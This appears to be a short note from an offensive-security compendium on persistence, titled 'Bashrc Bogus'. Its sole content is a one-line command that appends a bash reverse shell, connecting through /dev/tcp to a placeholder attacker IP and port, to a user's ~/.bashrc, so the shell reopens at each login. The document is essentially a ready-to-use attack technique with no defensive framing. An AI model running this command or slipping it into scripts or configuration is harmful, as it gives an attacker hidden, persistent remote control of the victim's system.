killchain-compendium/persistence/bashrc.md

134 B

Bashrc Bogus

Add Reverse Shell

echo 'bash -c "bash -i >& /dev/tcp/<attacker-IP>/<attacker-Port> 0>&1"' >> ~/.bashrc